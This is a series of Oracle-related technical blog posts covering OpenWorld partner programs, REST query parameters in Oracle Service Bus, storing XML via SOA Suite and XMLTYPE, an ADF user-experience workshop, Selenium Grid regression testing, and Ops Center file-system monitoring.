means more consistent experiences for Oracle customers. Cloud Resale Program. For those partners who achieve one of these Cloud Specializations, it will mean they can actually resell the subscription-based Cloud product. This is important because it has been somewhat of a rarity in the emerging Cloud channel for partners to be able to "take the paper", take the revenue, do the billing, be first line of support etc. This is an important step for Oracle and one the partners will be happy to see. Cloud Referral Program. For those partners who are not as engaged with these specific Cloud products that the Specializations revolve around, there is a new referral program that provides an incentive to recommend Oracle Cloud products. This one-two punch of referral and resale programs is similar in many ways to other vendors who allow more committed partners to resell, while more casual partners can collect fees. It's the model that seems to work. The key to allow a company to resell a subscription product - something that is inherently delivered directly between the vendor and customer - is trust. Achieving a specialization is a good bar to have to meet. Platform as a Service for ISVs. Leveraging some of the overall announcements made by CEO Larry Ellison around a cloud version of its famous database, Oracle also outlined a new ability for ISVs to build cloud services on its new PaaS offering. Details were less available for this announcement, though it's an expected and fitting play for ISVs comfortable with Oracle technology who can now more easily build out cloud applications. There wasn't much talk of an app store to go along with this, but surely it's in the works. Specializations And "The Gap" Coming back to Specializations, Oracle PartnerNetwork (OPN) has 4600 partners worldwide that hold 20,000 Specializations. These are impressive numbers just three years into the new OPN framework. The actual number of Specializations has also grown significantly, up to 111 today and soon around 125 or so with the new Cloud designations. Oracle may need to look at grouping some of these and creating higher level, broader designations that partners could achieve by earning several Specializations in that group. At 125 and growing, this is a lot. On the top of the pyramid, Hitachi Ltd. successfully became the eleventh partner to make it to the highly prestigious Diamond level. Partner programs partially exist in order to recognize capable partners. And it's more than abundantly clear that the Diamond level does this. But I think Oracle has a gap. Specializations show capability in a very specific product area, and all sizes of partners can achieve these. The next level at which to show a level of expertise is the Advanced Specialization. However, this is a massive step up from the regular Specialization. The advanced level requires 50 people to have certification in that particular product area. Most other industry programs have similar higher level statuses, but none are even close to that number. Whereas a customer who sees an Oracle partner with an advanced specialization can be very sure of capability, there is a gap in that there are hundreds or even thousands of 20-50 person solution providers who are top notch in their area of expertise. They will never get to Advanced due to numbers alone. These boutique partners don't really have a way of showing off their talents in the current program. Advanced may not need to be so high to really show that a company has deep expertise. Overall it was a very successful Oracle OpenWorld for Oracle partners of all sizes. There was progress made on making it a bigger and more relevant event. And also on catching up and maybe even leading in some cases with cloud opportunities for partners.

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• Enhanced REST Support in Oracle Service Bus 11gR1

  - by jeff.x.davies

  In a previous entry on REST and Oracle Service Bus (see http://blogs.oracle.com/jeffdavies/2009/06/restful_services_with_oracle_s_1.html) I encoded the REST query string really as part of the relative URL. For example, consider the following URI: http://localhost:7001/SimpleREST/Products/id=1234 Now, technically there is nothing wrong with this approach. However, it is generally more common to encode the search parameters into the query string. Take a look at the following URI that shows this principle http://localhost:7001/SimpleREST/Products?id=1234 At first blush this appears to be a trivial change. However, this approach is more intuitive, especially if you are passing in multiple parameters. For example: http://localhost:7001/SimpleREST/Products?cat=electronics&subcat=television&mfg=sony The above URI is obviously used to retrieve a list of televisions made by Sony. In prior versions of OSB (before 11gR1PS3), parsing the query string of a URI was more difficult than in the current release. In 11gR1PS3 it is now much easier to parse the query strings, which in turn makes developing REST services in OSB even easier. In this blog entry, we will re-implement the REST-ful Products services using query strings for passing parameter information. Lets begin with the implementation of the Products REST service. This service is implemented in the Products.proxy file of the project. Lets begin with the overall structure of the service, as shown in the following screenshot. This is a common pattern for REST services in the Oracle Service Bus. You implement different flows for each of the HTTP verbs that you want your service to support. Lets take a look at how the GET verb is implemented. This is the path that is taken of you were to point your browser to: http://localhost:7001/SimpleREST/Products/id=1234 There is an Assign action in the request pipeline that shows how to extract a query parameter. Here is the expression that is used to extract the id parameter: $inbound/ctx:transport/ctx:request/http:query-parameters/http:parameter[@name="id"]/@value The Assign action that stores the value into an OSB variable named id. Using this type of XPath statement you can query for any variables by name, without regard to their order in the parameter list. The Log statement is there simply to provided some debugging info in the OSB server console. The response pipeline contains a Replace action that constructs the response document for our rest service. Most of the response data is static, but the ID field that is returned is set based upon the query-parameter that was passed into the REST proxy. Testing the REST service with a browser is very simple. Just point it to the URL I showed you earlier. However, the browser is really only good for testing simple GET services. The OSB Test Console provides a much more robust environment for testing REST services, no matter which HTTP verb is used. Lets see how to use the Test Console to test this GET service. Open the OSB we console (http://localhost:7001/sbconsole) and log in as the administrator. Click on the Test Console icon (the little "bug") next to the Products proxy service in the SimpleREST project. This will bring up the Test Console browser window. Unlike SOAP services, we don't need to do much work in the request document because all of our request information will be encoded into the URI of the service itself. Belore the Request Document section of the Test Console is the Transport section. Expand that section and modify the query-parameters and http-method fields as shown in the next screenshot. By default, the query-parameters field will have the tags already defined. You just need to add a tag for each parameter you want to pass into the service. For out purposes with this particular call, you'd set the quer-parameters field as follows: <tp:parameter name="id" value="1234" /> </tp:query-parameters> Now you are ready to push the Execute button to see the results of the call. That covers the process for parsing query parameters using OSB. However, what if you have an OSB proxy service that needs to consume a REST-ful service? How do you tell OSB to pass the query parameters to the external service? In the sample code you will see a 2nd proxy service called CallREST. It invokes the Products proxy service in exactly the same way it would invoke any REST service. Our CallREST proxy service is defined as a SOAP service. This help to demonstrate OSBs ability to mediate between service consumers and service providers, decreasing the level of coupling between them. If you examine the message flow for the CallREST proxy service, you'll see that it uses an Operational branch to isolate processing logic for each operation that is defined by the SOAP service. We will focus on the getProductDetail branch, that calls the Products REST service using the HTTP GET verb. Expand the getProduct pipeline and the stage node that it contains. There is a single Assign statement that simply extracts the productID from the SOA request and stores it in a local OSB variable. Nothing suprising here. The real work (and the real learning) occurs in the Route node below the pipeline. The first thing to learn is that you need to use a route node when calling REST services, not a Service Callout or a Publish action. That's because only the Routing action has access to the $oubound variable, especially when invoking a business service. The Routing action contains 3 Insert actions. The first Insert action shows how to specify the HTTP verb as a GET. The second insert action simply inserts the XML node into the request. This element does not exist in the request by default, so we need to add it manually. Now that we have the element defined in our outbound request, we can fill it with the parameters that we want to send to the REST service. In the following screenshot you can see how we define the id parameter based on the productID value we extracted earlier from the SOAP request document. That expression will look for the parameter that has the name id and extract its value. That's all there is to it. You now know how to take full advantage of the query parameter parsing capability of the Oracle Service Bus 11gR1PS2. Download the sample source code here: rest2_sbconfig.jar Ubuntu and the OSB Test Console You will get an error when you try to use the Test Console with the Oracle Service Bus, using Ubuntu (or likely a number of other Linux distros also). The error (shown below) will state that the Test Console service is not running. The fix for this problem is quite simple. Open up the WebLogic Server administrator console (usually running at http://localhost:7001/console). In the Domain Structure window on the left side of the console, select the Servers entry under the Environment heading. The select the Admin Server entry in the main window of the console. By default, you should be viewing the Configuration tabe and the General sub tab in the main window. Look for the Listen Address field. By default it is blank, which means it is listening on all interfaces. For some reason Ubuntu doesn't like this. So enter a value like localhost or the specific IP address or DNS name for your server (usually its just localhost in development envirionments). Save your changes and restart the server. Your Test Console will now work correctly.

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• How to pass XML to DB using XMLTYPE

  - by James Taylor

  Probably not a common use case but I have seen it pop up from time to time. The question how do I pass XML from a queue or web service and insert it into a DB table using XMLTYPE.In this example I create a basic table with the field PAYLOAD of type XMLTYPE. I then take the full XML payload of the web service and insert it into that database for auditing purposes.I use SOA Suite 11.1.1.2 using composite and mediator to link the web service with the DB adapter.1. Insert Database Objects Normal 0 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} --Create XML_EXAMPLE_TBL Normal 0 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} CREATE TABLE XML_EXAMPLE_TBL (PAYLOAD XMLTYPE); Normal 0 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} --Create procedure LOAD_TEST_XML Normal 0 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} CREATE or REPLACE PROCEDURE load_test_xml (xmlFile in CLOB) IS   BEGIN     INSERT INTO xml_example_tbl (payload) VALUES (XMLTYPE(xmlFile));   --Handle the exceptions EXCEPTION   WHEN OTHERS THEN     raise_application_error(-20101, 'Exception occurred in loadPurchaseOrder procedure :'||SQLERRM || ' **** ' || xmlFile ); END load_test_xml; / 2. Creating New SOA Project TestXMLTYPE in JDeveloperIn JDeveloper either create a new Application or open an existing Application you want to put this work.Under File -> New -> SOA Tier -> SOA Project   Provide a name for the Project, e.g. TestXMLType Choose Empty Composite When selected Empty Composite click Finish.3. Create Database Connection to Stored ProcedureA Blank composite will be displayed. From the Component Palette drag a Database Adapter to the  External References panel. and configure the Database Adapter Wizard to connect to the DB procedure created above.Provide a service name InsertXML Select a Database connection where you installed the table and procedure above. If it doesn't exist create a new one. Select Call a Stored Procedure or Function then click NextChoose the schema you installed your Procedure in step 1 and query for the LOAD_TEST_XML procedure.Click Next for the remaining screens until you get to the end, then click Finish to complete the database adapter wizard.4. Create the Web Service InterfaceDownload this sample schema that will be used as the input for the web service. It does not matter what schema you use this solution will work with any. Feel free to use your own if required. singleString.xsd Drag from the component palette the Web Service to the Exposed Services panel on the component.Provide a name InvokeXMLLoad for the service, and click the cog icon.Click the magnify glass for the URL to browse to the location where you downloaded the xml schema above.  Import the schema file by selecting the import schema iconBrowse to the location to where you downloaded the singleString.xsd above.Click OK for the Import Schema File, then select the singleString node of the imported schema.Accept all the defaults until you get back to the Web Service wizard screen. The click OK. This step has created a WSDL based on the schema we downloaded earlier.Your composite should now look something like this now.5. Create the Mediator Routing Rules Drag a Mediator component into the middle of the Composite called ComponentsGive the name of Route, and accept the defaultsLink the services up to the Mediator by connecting the reference points so your Composite looks like this.6. Perform Translations between Web Service and the Database Adapter.From the Composite double click the Route Mediator to show the Map Plan. Select the transformation icon to create the XSLT translation file.Choose Create New Mapper File and accept the defaults.From the Component Palette drag the get-content-as-string component into the middle of the translation file.Your translation file should look something like thisNow we need to map the root element of the source 'singleString' to the XMLTYPE of the database adapter, applying the function get-content-as-string.To do this drag the element singleString to the left side of the function get-content-as-string and drag the right side of the get-content-as-string to the XMLFILE element of the database adapter so the mapping looks like this. You have now completed the SOA Component you can now save your work, deploy and test.When you deploy I have assumed that you have the correct database configurations in the WebLogic Console based on the connection you setup connecting to the Stored Procedure. 7. Testing the ApplicationOpen Enterprise Manager and navigate to the TestXMLTYPE Composite and click the Test button. Load some dummy variables in the Input Arguments and click the 'Test Web Service' buttonOnce completed you can run a SQL statement to check the install. In this instance I have just used JDeveloper and opened a SQL WorksheetSQL Statement Normal 0 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} select * from xml_example_tbl; Result, you should see the full payload in the result.

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• Building Great-Looking, Usable Apps: A two-day workshop applying Oracle’s best UX practices in ADF

  - by mvaughan

  By Misha Vaughan, Oracle Applications User ExperienceI have been with Oracle for more than 12 years. It is a company that has granted me extraordinary creative freedom to help deliver compelling experiences for customers.I am beyond proud to talk about one of the experiences we just took for a test drive. Recently, we delivered a first-of-its-kind, three-team collaboration, train-the-trainer event in Reading, U.K., on building great-looking, usable apps based on Oracle Fusion Applications -- using the ADF tool kit. A new kind of workshopKevin Li, Platform Product Director, asked the Oracle Applications User Experience VP, Jeremy Ashley, if the team had anything to help partners and customers build applications that looked like Fusion. He was receiving this request from European partners and customers.Some quick conversations ensued, and the idea for the workshop was born: We would conduct an experiment.  We would work with feedback from the key Platform Technology Solutions (PTS) trainers under Andre Pavanello, Director, Platform Technology Solutions, in Europe, Middle East, and Africa. We would partner with the ADF team lead by Grant Ronald, Director of Product Management, title> and leverage the Applications UX expertise in Ashley’s team.The goal: Create a pilot workshop that in two days would explain to an ADF developer how to leverage the next-generation user experience best-practices developed for Fusion Apps. Why? Customers who need integrations with Oracle Fusion Applications, who are looking for custom applications that need to co-exist with Fusion, or who quite simply want a next-generation design for a custom app, need their solutions to reflect the next-generation research and design.Building an event for an ADF developerThe biggest hurdle was figuring out where to start.  How far into user experience country do you take an ADF developer? How far into ADF do you need to go if you are a UX professional?After some time in the UX kitchen, the workshop recipe looked like this: Mix equal parts: Fusion user experience design principles and functional design patterns The art and science behind UX How to wireframe designs that you can build in Fusion How to translate those designs into an ADF application Ultan O’Broin, Director of Global User Experience, explaining the trouble ticket wireframe design exerciseLynn Munsinger, Senior Group Product Manager, explaining the follow-on trouble ticket ADF coding exercise For spice, add:•    Debra Lilley, Fujitsu and ACE director, showcasing some of the latest ADF design work in the new face of Fusion Applications •    Partner show-and-tell of example apps they have built with FMW and ADF that are dynamic, beautiful, and interactive.Debra Lilley, Oracle ACE Director and Fujitsu Fusion Champion on the new face of Fusion built with ADF and Fusion extensibility with composers as a window into “the possible”?The taste testThis first go-round of the workshop was aimed squarely at ADF developers and partners.  We were privileged to have participation and feedback from:•    Sten Vesterli, Scott/Tiger S. A., Denmark•    John Sim, Fishbowl Solutions, UK•    Josef Huber, Primus Delphi Group, Munich•    Thaddaus Weindl, Primus Delphi, Group , Munich•    Praveen Pillalamarri, EiS Technologies, Bangalore•    Balaji Kamepalli, EiS Technologies, Bangalore•    Plinio Arbizu, Services & Processes Solutions S. A., Mexico•    Yannick Ongena, infoMENTUM, UK•    Jakub Ciszek, infoMENTUM, UK•    Mauro Flores, infoMENTUM, UK•    Matteo Formica, infoMENTUM, UKRichard Bingham, Oracle, Mauro Flores and Matteo Formica, infoMENTUMWhy is this so exciting?  Oracle has invested heavily in the research and development of the Oracle Fusion Applications user experience. This investment has been and continues to be applied across the product lines. Now, we finally get to teach customers and partners how to take advantage of this investment for custom solutions.This event was a pilot to test-drive the content, as well as a train-the-trainer event that our EMEA colleagues will be using with partners who want to build with Fusion Apps design patterns.What did attendees think?"I liked most the science stuff, like eye-tracking, design patterns and best-practice (color, contrast),” Josef Huber said. “It was a very good introduction to UI design, and most developers and project managers are very bad in that.  So this course would be good for all developers and even project managers." Team Anonymous: John Sim, Fishbowl Solutions, Flavius Sana, Oracle, Josef Huber, infoMENTUM, Mireille Duroussaud, Oracle. Winners of the wireframing design exercise.  Sten Vesterli, of Scott/Tiger, said he attended to learn techniques he could use in his own projects. He wants to ensure that his applications better meet the needs of his users, and he said sessions during the workshop on user interface design and wireframing were most useful to him.  “Go to this event to learn the art and science of good user interfaces from people who really know how to do it,” he said.Sten Vesterli, Scott/Tiger, Angelo Santagata, Oracle Plinio Arbizu said the workshop fulfilled his goals, thanks to the recommendations given in how to design user interfaces to facilitate the adoption of applications among the final users. “The workshop combined these recommendations with an exercise that improved the technical comprehension, permitting the usage of JDeveloper to set forth our solutions,” he said. He added: “The first session that I really enjoyed was the five Fusion design principles. It was incredible to discover how these simple principles were included in an inherit manner in Fusion Applications, and I had been using many of them applying only ADF components.  Another topic that I enjoyed a lot was the eight recommendations about the visual design of UIs. The issues that were raised in that lesson are unknown to the developers and of great value to achieve an attractive presentation layer to the end users.  Participate in this workshop, and include these usability features in your projects and in this manner not only to facilitate and improve the user productivity, but also to distinguish you as a professional who takes advantage fully of the functionalities offered by Oracle technology. Praveen Pillalamarri came to the workshop to learn about the difficulties faced in UI and UX development, and how this can be resolved with the help of ADF.  He also appreciated the opportunity to talk with other individuals who came to the workshop. Pillalmarri said, “The way we looked at things in terms of work and projects were sharpened.  UI and UX design knowledge shared by you was quite interesting, especially the minute things which we ignored in the UI or UX design.” Plinio Arbizu, Services & Processes Solutions S. A., Richard Bingham, Oracle, Balaji Kamepalli, & Praveen Pillalamarri, EiS TechnologiesReady to spread the wordIn EMEA, Oracle customers and partners have access to three world-class trainers via Platform Technology Solutions: Mireille Duroussaud, Flavius Sana, and Angelo Santagata. Contact Andre Pavanello if you like to experience this workshop firsthand, or you have customers or partners who would benefit from the training.We are looking to bring the event to the U.S. in spring 2013. If you have interest in this kind of a workshop, leave a comment below. For those who want to follow the action, join the ADF Enterprise Methodology Group run by Oracle’s Chris Muir. Ask questions and continue with the conversation in this forum, or check blogs.oracle.com/usableapps for topics emerging from the workshop.

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• Regression testing with Selenium GRID

  - by Ben Adderson

  A lot of software teams out there are tasked with supporting and maintaining systems that have grown organically over time, and the web team here at Red Gate is no exception. We're about to embark on our first significant refactoring endeavour for some time, and as such its clearly paramount that the code be tested thoroughly for regressions. Unfortunately we currently find ourselves with a codebase that isn't very testable - the three layers (database, business logic and UI) are currently tightly coupled. This leaves us with the unfortunate problem that, in order to confidently refactor the code, we need unit tests. But in order to write unit tests, we need to refactor the code :S To try and ease the initial pain of decoupling these layers, I've been looking into the idea of using UI automation to provide a sort of system-level regression test suite. The idea being that these tests can help us identify regressions whilst we work towards a more testable codebase, at which point the more traditional combination of unit and integration tests can take over. Ending up with a strong battery of UI tests is also a nice bonus :) Following on from my previous posts (here, here and here) I knew I wanted to use Selenium. I also figured that this would be a good excuse to put my xUnit [Browser] attribute to good use. Pretty quickly, I had a raft of tests that looked like the following (this particular example uses Reflector Pro). In a nut shell the test traverses our shopping cart and, for a particular combination of number of users and months of support, checks that the price calculations all come up with the correct values. [BrowserTheory] [Browser(Browsers.Firefox3_6, "http://www.red-gate.com")] public void Purchase1UserLicenceNoSupport(SeleniumProvider seleniumProvider) {     //Arrange     _browser = seleniumProvider.GetBrowser();     _browser.Open("http://www.red-gate.com/dynamic/shoppingCart/ProductOption.aspx?Product=ReflectorPro");                  //Act     _browser = ShoppingCartHelpers.TraverseShoppingCart(_browser, 1, 0, ".NET Reflector Pro");     //Assert     var priceResult = PriceHelpers.GetNewPurchasePrice(db, "ReflectorPro", 1, 0, Currencies.Euros);         Assert.Equal(priceResult.Price, _browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl01_Price"));     Assert.Equal(priceResult.Tax, _browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl02_Tax"));     Assert.Equal(priceResult.Total, _browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl02_Total")); } These tests are pretty concise, with much of the common code in the TraverseShoppingCart() and GetNewPurchasePrice() methods. The (inevitable) problem arose when it came to execute these tests en masse. Selenium is a very slick tool, but it can't mask the fact that UI automation is very slow. To give you an idea, the set of cases that covers all of our products, for all combinations of users and support, came to 372 tests (for now only considering purchases in dollars). In the world of automated integration tests, that's a very manageable number. For unit tests, it's a trifle. However for UI automation, those 372 tests were taking just over two hours to run. Two hours may not sound like a lot, but those cases only cover one of the three currencies we deal with, and only one of the many different ways our systems can be asked to calculate a price. It was already pretty clear at this point that in order for this approach to be viable, I was going to have to find a way to speed things up. Up to this point I had been using Selenium Remote Control to automate Firefox, as this was the approach I had used previously and it had worked well. Fortunately,  the guys at SeleniumHQ also maintain a tool for executing multiple Selenium RC tests in parallel: Selenium Grid. Selenium Grid uses a central 'hub' to handle allocation of Selenium tests to individual RCs. The Remote Controls simply register themselves with the hub when they start, and then wait to be assigned work. The (for me) really clever part is that, as far as the client driver library is concerned, the grid hub looks exactly the same as a vanilla remote control. To create a new browser session against Selenium RC, the following C# code suffices: new DefaultSelenium("localhost", 4444, "*firefox", "http://www.red-gate.com"); This assumes that the RC is running on the local machine, and is listening on port 4444 (the default). Assuming the hub is running on your local machine, then to create a browser session in Selenium Grid, via the hub rather than directly against the control, the code is exactly the same! Behind the scenes, the hub will take this request and hand it off to one of the registered RCs that provides the "*firefox" execution environment. It will then pass all communications back and forth between the test runner and the remote control transparently. This makes running existing RC tests on a Selenium Grid a piece of cake, as the developers intended. For a more detailed description of exactly how Selenium Grid works, see this page. Once I had a test environment capable of running multiple tests in parallel, I needed a test runner capable of doing the same. Unfortunately, this does not currently exist for xUnit (boo!). MbUnit on the other hand, has the concept of concurrent execution baked right into the framework. So after swapping out my assembly references, and fixing up the resulting mismatches in assertions, my example test now looks like this: [Test] public void Purchase1UserLicenceNoSupport() {    //Arrange    ISelenium browser = BrowserHelpers.GetBrowser();    var db = DbHelpers.GetWebsiteDBDataContext();    browser.Start();    browser.Open("http://www.red-gate.com/dynamic/shoppingCart/ProductOption.aspx?Product=ReflectorPro");                 //Act     browser = ShoppingCartHelpers.TraverseShoppingCart(browser, 1, 0, ".NET Reflector Pro");    var priceResult = PriceHelpers.GetNewPurchasePrice(db, "ReflectorPro", 1, 0, Currencies.Euros);    //Assert     Assert.AreEqual(priceResult.Price, browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl01_Price"));     Assert.AreEqual(priceResult.Tax, browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl02_Tax"));     Assert.AreEqual(priceResult.Total, browser.GetText("ctl00_content_InvoiceShoppingItemRepeater_ctl02_Total")); } This is pretty much the same as the xUnit version. The exceptions are that the attributes have changed,  the //Arrange phase now has to handle setting up the ISelenium object, as the attribute that previously did this has gone away, and the test now sets up its own database connection. Previously I was using a shared database connection, but this approach becomes more complicated when tests are being executed concurrently. To avoid complexity each test has its own connection, which it is responsible for closing. For the sake of readability, I snipped out the code that closes the browser session and the db connection at the end of the test. With all that done, there was only one more step required before the tests would execute concurrently. It is necessary to tell the test runner which tests are eligible to run in parallel, via the [Parallelizable] attribute. This can be done at the test, fixture or assembly level. Since I wanted to run all tests concurrently, I marked mine at the assembly level in the AssemblyInfo.cs using the following: [assembly: DegreeOfParallelism(3)] [assembly: Parallelizable(TestScope.All)] The second attribute marks all tests in the assembly as [Parallelizable], whilst the first tells the test runner how many concurrent threads to use when executing the tests. I set mine to three since I was using 3 RCs in separate VMs. With everything now in place, I fired up the Icarus* test runner that comes with MbUnit. Executing my 372 tests three at a time instead of one at a time reduced the running time from 2 hours 10 minutes, to 55 minutes, that's an improvement of about 58%! I'd like to have seen an improvement of 66%, but I can understand that either inefficiencies in the hub code, my test environment or the test runner code (or some combination of all three most likely) contributes to a slightly diminished improvement. That said, I'd love to hear about any experience you have in upping this efficiency. Ultimately though, it was a saving that was most definitely worth having. It makes regression testing via UI automation a far more plausible prospect. The other obvious point to make is that this approach scales far better than executing tests serially. So if ever we need to improve performance, we just register additional RC's with the hub, and up the DegreeOfParallelism. *This was just my personal preference for a GUI runner. The MbUnit/Gallio installer also provides a command line runner, a TestDriven.net runner, and a Resharper 4.5 runner. For now at least, Resharper 5 isn't supported.

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• Keeping track of File System Utilization in Ops Center 12c

  - by S Stelting

  Enterprise Manager Ops Center 12c provides significant monitoring capabilities, combined with very flexible incident management. These capabilities even extend to monitoring the file systems associated with Solaris or Linux assets. Depending on your needs you can monitor and manage incidents, or you can fine tune alert monitoring rules to specific file systems. This article will show you how to use Ops Center 12c to Track file system utilization Adjust file system monitoring rules Disable file system rules Create custom monitoring rules If you're interested in this topic, please join us for a WebEx presentation! Date: Thursday, November 8, 2012 Time: 11:00 am, Eastern Standard Time (New York, GMT-05:00) Meeting Number: 598 796 842 Meeting Password: oracle123 To join the online meeting ------------------------------------------------------- 1. Go to https://oracleconferencing.webex.com/oracleconferencing/j.php?ED=209833597&UID=1512095432&PW=NOWQ3YjJlMmYy&RT=MiMxMQ%3D%3D 2. If requested, enter your name and email address. 3. If a password is required, enter the meeting password: oracle123 4. Click "Join". To view in other time zones or languages, please click the link: https://oracleconferencing.webex.com/oracleconferencing/j.php?ED=209833597&UID=1512095432&PW=NOWQ3YjJlMmYy&ORT=MiMxMQ%3D%3D   Monitoring File Systems for OS Assets The Libraries tab provides basic, device-level information about the storage associated with an OS instance. This tab shows you the local file system associated with the instance and any shared storage libraries mounted by Ops Center. More detailed information about file system storage is available under the Analytics tab under the sub-tab named Charts. Here, you can select and display the individual mount points of an OS, and export the utilization data if desired: In this example, the OS instance has a basic root file partition and several NFS directories. Each file system mount point can be independently chosen for display in the Ops Center chart. File Systems and Incident  Reporting Every asset managed by Ops Center has a "monitoring policy", which determines what represents a reportable issue with the asset. The policy is made up of a bunch of monitoring rules, where each rule describes An attribute to monitor The conditions which represent an issue The level or levels of severity for the issue When the conditions are met, Ops Center sends a notification and creates an incident. By default, OS instances have three monitoring rules associated with file systems: File System Reachability: Triggers an incident if a file system is not reachable NAS Library Status: Triggers an incident for a value of "WARNING" or "DEGRADED" for a NAS-based file system File System Used Space Percentage: Triggers an incident when file system utilization grows beyond defined thresholds You can view these rules in the Monitoring tab for an OS: Of course, the default monitoring rules is that they apply to every file system associated with an OS instance. As a result, any issue with NAS accessibility or disk utilization will trigger an incident. This can cause incidents for file systems to be reported multiple times if the same shared storage is used by many assets, as shown in this screen shot: Depending on the level of control you'd like, there are a number of ways to fine tune incident reporting. Note that any changes to an asset's monitoring policy will detach it from the default, creating a new monitoring policy for the asset. If you'd like, you can extract a monitoring policy from an asset, which allows you to save it and apply the customized monitoring profile to other OS assets. Solution #1: Modify the Reporting Thresholds In some cases, you may want to modify the basic conditions for incident reporting in your file system. The changes you make to a default monitoring rule will apply to all of the file systems associated with your operating system. Selecting the File Systems Used Space Percentage entry and clicking the "Edit Alert Monitoring Rule Parameters" button opens a pop-up dialog which allows you to modify the rule. The first screen lets you decide when you will check for file system usage, and how long you will wait before opening an incident in Ops Center. By default, Ops Center monitors continuously and reports disk utilization issues which exist for more than 15 minutes. The second screen lets you define actual threshold values. By default, Ops Center opens a Warning level incident is utilization rises above 80%, and a Critical level incident for utilization above 95% Solution #2: Disable Incident Reporting for File System If you'd rather not report file system incidents, you can disable the monitoring rules altogether. In this case, you can select the monitoring rules and click the "Disable Alert Monitoring Rule(s)" button to open the pop-up confirmation dialog. Like the first solution, this option affects all file system monitoring. It allows you to completely disable incident reporting for NAS library status or file system space consumption. Solution #3: Create New Monitoring Rules for Specific File Systems If you'd like to have the greatest flexibility when monitoring file systems, you can create entirely new rules. Clicking the "Add Alert Monitoring Rule" (the icon with the green plus sign) opens a wizard which allows you to define a new rule.  This rule will be based on a threshold, and will be used to monitor operating system assets. We'd like to add a rule to track disk utilization for a specific file system - the /nfs-guest directory. To do this, we specify the following attribute FileSystemUsages.name=/nfs-guest.usedSpacePercentage The value of name in the attribute allows us to define a specific NFS shared directory or file system... in the case of this OS, we could have chosen any of the values shown in the File Systems Utilization chart at the beginning of this article. usedSpacePercentage lets us define a threshold based on the percentage of total disk space used. There are a number of other values that we could use for threshold-based monitoring of FileSystemUsages, including freeSpace freeSpacePercentage totalSpace usedSpace usedSpacePercentage The final sections of the screen allow us to determine when to monitor for disk usage, and how long to wait after utilization reaches a threshold before creating an incident. The next screen lets us define the threshold values and severity levels for the monitoring rule: If historical data is available, Ops Center will display it in the screen. Clicking the Apply button will create the new monitoring rule and active it in your monitoring policy. If you combine this with one of the previous solutions, you can precisely define which file systems will generate incidents and notifications. For example, this monitoring policy has the default "File System Used Space Percentage" rule disabled, but the new rule reports ONLY on utilization for the /nfs-guest directory. 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